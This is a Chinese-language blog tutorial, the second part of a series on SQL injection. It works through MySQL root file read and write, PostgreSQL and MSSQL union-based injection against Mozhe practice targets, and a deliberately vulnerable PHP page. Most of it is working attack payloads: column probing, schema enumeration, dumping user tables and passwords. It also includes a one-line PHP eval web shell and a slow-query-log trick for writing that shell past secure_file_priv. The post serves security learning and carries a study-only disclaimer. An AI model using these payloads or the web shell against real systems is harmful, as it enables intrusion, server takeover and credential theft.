SQL注入漏洞分析(二)


前言:

上一篇文章分析SQL注入漏洞,针对数据库类型以及高权限注入没有完全分析完,这一篇文章接着分析。

不通数据库类型权限操作区分:

Access 无高权限注入点-只能猜解,而且暴力猜解,也可以根据它数据库的特性猜解
MYSQL,PostgreSQL,MSSQL 高权限注入点-可升级读写执行等

MySQL-root高权限读写注入

读取文件:

  • ==load_file()==是读取文件函数

读取本地文件示例:

select load_file('c:/1.txt');

从注入点测试示例,测试代码:

<?php
//声明文件解析的编码格式
header('Content-type:text/html;charset=utf-8');
//操作数据库讲数据取出进行展示
$conn=mysql_connect('localhost','root','root');
mysql_select_db('beescms',$conn);

$i=$_GET['id'];//GET请求接受id参数名值给变量i
$sql="select * from bees_article where id='$i'";
$result=mysql_query($sql,$conn); //执行sql语句

while($row=mysql_fetch_array($result)){
    echo '<br><br><hr>';
    echo $row['id'];
    echo $row['content'];
}
?>

测试结果:

说明在高权限条件下可以读取文件

写入文件:

  • into outfile

  • into dumpfile

本地写入命令:

select 'xxx' into outfile 'c:/test.txt';

从测试点注入测试:

虽然好像有个报错,我也不太清楚那是怎么回事(可能是代码的处理问题),但是可以看得在高权限条件下是可以进行文件写入,只要把要写入的内容换成后门代码便可以实现后面getshell的进一步操作

简单后门代码:
<?php eval($_POST[x]);?>

有了文件读取,那么接下来考虑一个问题,就是黑盒测试,怎么判断路径

路径的获取:

  • phpinfo.php

    针对phpinfo.php文件,从开发者的角度,有可能是开发网站时测试遗留的;从安全测试人员的角度,可以通过利用写入文件权限写入,也可以通过利用网站的上传漏洞上传phpinfo文件(前提是网站有文件上传漏洞)

  • 报错

    这可以测试尝试,得网站代码如何,有代码容错处理那种会报错一个异常错误,可能包含路径

  • 字典

写入文件阻碍:

无法写入:secure_file_priv 突破 注入中需要支持 SQL 执行环境,没有就需要借助 phpmyadmin 或能够直接连上对方数据库进行绕过

secure_file_priv 限制文件的读写,限制操作路径,比如`secure_file_priv=c:/`

解决方法:

set global slow_query_log=1; //开启慢日志
set global slow_query_log_file='shell 路径';
select '<?php eval($_GET[A])?>' or SLEEP(1);

PostgreSQL-高权限读写注入

这里用墨者的一个靶场演示,靶场链接:https://www.mozhe.cn/bug/detail/86

测试字段:
order by 4 #不报错
order by 5 #报错
and 1=2 union select null,null,null,null

注:这个和mysql注入有区别

测显位:
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误
#得出显位是第 2,3
获取信息:
and 1=2 UNION SELECT null,version(),null,null #获取数据库版本信息 PostgreSQL 9.5.13
and 1=2 UNION SELECT null,current_user,null,null #获取当前用户 postgres
and 1=2 union select null,current_database(),null,null #获取当前数据库 mozhedvcms
获取数据库名:
and 1=2 union select null,string_agg(datname,','),null,null from 
pg_database #s所有数据库名:template1,template0,postgres,mozhedvcms

string_agg获取所有,相当于mysql的group_concat()函数

获取表名:
and 1=2 union select null,string_agg(tablename,','),null,null 
from pg_tables where schemaname='public' #表名:notice,reg_users
and 1=2 union select null,string_agg(relname,','),null,null 
from pg_stat_user_tables #表名:reg_users,notice
获取列名:
and 1=2 union select null,string_agg(column_name,','),null,null 
from information_schema.columns where table_name='reg_users' #得到列名:id,name,password,status
获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

最后得到的密码进行md5解密,后登录,注意这里有个小坑,用户名是mozhe1,不是mozhe

补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的):
and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE
如列出当前目录:
and 1=2 union select null,pg_ls_dir('./'),null,null

postgresql注入参考:https://www.freebuf.com/sectool/249371.html

MSSQL-sa 高权限读写执行注入

这里用墨者的一个靶场来演示,靶场链接:https://www.mozhe.cn/bug/detail/90

测列数:
order by 4 #不报错
order by 5 #报错,说明字段为4
测显位:
and 1=2 union all select 'null',null,null,null #无显位
and 1=2 union all select null,'null',null,null #有显位
and 1=2 union all select null,null,‘null’,null #有显位
and 1=2 union all select null,null,null,‘null’ #没显位
获取信息:
and 1=2 union all select null,@@version,null,null #获取版本信息
db_name() 当前数据库名字
user、system_user,current_user,user_name 获取当前用户名
and 1=2 union all select null,@@SERVERNAME,null,null 获取服务器主机信息
and 1=2 union all select null,db_name(),null,null #获取数据库
获取表名:
and 1=2  union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null
union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null
获取列名:
and 1=2  union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
and 1=2  union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
and 1=2  union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
and 1=2  union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null
获取数据:
and 1=2 union all select null,username, password ,null from manage

免责声明:本文章涉及的知识和技能仅用于学习研究,如有用于非法途径或未被授权的真实网络环境,所造成的后果及连带责任自行承担,与本文作者无关,倡导把安全知识和技能用于正当、正规、正义的途径。


文章作者: 阿浩
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 阿浩 !
评论
  目录